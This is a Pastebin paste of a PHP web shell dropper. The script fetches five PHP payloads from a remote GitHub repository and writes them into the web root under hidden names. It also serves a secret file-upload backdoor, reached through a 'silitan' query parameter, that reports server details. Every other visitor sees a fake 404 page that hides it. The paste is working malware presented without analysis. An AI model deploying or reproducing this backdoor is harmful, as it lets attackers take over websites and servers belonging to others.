CaFc_Br40ck

Untitled

May 9th, 2021 (edited)
1,416
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2. @ini_set('output_buffering', 0);
  3. @ini_set('display_errors', 0);
  4. set_time_limit(0);
  5. if(in_array ('curl', get_loaded_extensions())){
  6. function http_get($url){
  7. $im = curl_init($url);
  8. curl_setopt($im, CURLOPT_RETURNTRANSFER, 1);
  9. curl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10);
  10. curl_setopt($im, CURLOPT_FOLLOWLOCATION, 1);
  11. curl_setopt($im, CURLOPT_HEADER, 0);
  12. return curl_exec($im);
  13. curl_close($im);
  14. }
  15. }else{
  16. function http_get($url){
  17. $resutlt = file_get_contents($url);
  18. return $resutlt;
  19. }
  20. }
  21. $check = $_SERVER['DOCUMENT_ROOT'] . "/_.php" ;
  22. $text = http_get('https://raw.githubusercontent.com/cafcbr40ck/PasukanBeraniMati/main/_.php');
  23. $open = fopen($check, 'w');
  24. fwrite($open, $text);
  25. fclose($open);
  26. if(file_exists($check)){
  27. }
  28. $check1 = $_SERVER['DOCUMENT_ROOT'] . "/wp-exp.php" ;
  29. $text1 = http_get('https://raw.githubusercontent.com/cafcbr40ck/PasukanBeraniMati/main/idb.php');
  30. $open1 = fopen($check1, 'w');
  31. fwrite($open1, $text1);
  32. fclose($open1);
  33. if(file_exists($check1)){
  34. }
  35. $check2 = $_SERVER['DOCUMENT_ROOT'] . "/1.php" ;
  36. $text2 = http_get('https://raw.githubusercontent.com/cafcbr40ck/PasukanBeraniMati/main/1.php');
  37. $open2 = fopen($check2, 'w');
  38. fwrite($open2, $text2);
  39. fclose($open2);
  40. if(file_exists($check2)){
  41. }
  42. $check3 = $_SERVER['DOCUMENT_ROOT'] . "/.send.php" ;
  43. $text3 = http_get('https://raw.githubusercontent.com/cafcbr40ck/PasukanBeraniMati/main/send.php');
  44. $open3 = fopen($check3, 'w');
  45. fwrite($open3, $text3);
  46. fclose($open3);
  47. if(file_exists($check3)){
  48. }
  49. $check4 = $_SERVER['DOCUMENT_ROOT'] . "/.x.php" ;
  50. $text4 = http_get('https://raw.githubusercontent.com/cafcbr40ck/PasukanBeraniMati/main/.x.php');
  51. $open4 = fopen($check4, 'w');
  52. fwrite($open4, $text4);
  53. fclose($open4);
  54. if(file_exists($check4)){
  55. }
  56. if(isset($_GET['silitan'])){
  57. echo '<center><h1>Pasukan Berani Mati</h1>'.'<br>'.'[uname] '.php_uname().' [/uname] <br>';
  58. echo 'Curl: ', function_exists('curl_version') ? 'Enabled' : 'Disabled';
  59. echo '<br>';
  60. print "\n";$disable_functions = @ini_get("disable_functions");
  61. echo "<br>DisablePHP=".$disable_functions; print "\n";
  62. echo '<title>Pasukan Berani Mati</title><font style="Arial"><font color="red"><center><b><br><br>Directory: '.getcwd().' <br></b><br><form action=""method="post" enctype="multipart/form-data" name="uploader" ></center><br><center><input type="file" name="file" size="50"><input name="_zx" type="submit" value="Upload"/></form></center>';
  63. if($_POST['_zx'] == "Upload" ) {
  64. if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) {
  65. echo '<center><b><br><br><b>File Uploaded :<a href="'.$_FILES['file']['name'].'">'.$_FILES['file']['name'].'</a></b><br><br></center>';
  66. }else {
  67. echo '<b>'.$_FILES['file']['name'].' Not Uploaded.</b>';
  68. }
  69. }
  70. } else{
  71. header($_SERVER["SERVER_PROTOCOL"]." 404 Not Found", true, 404);
  72. die('<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>');
  73.  
  74. }
  75. ?>
RAW Paste Data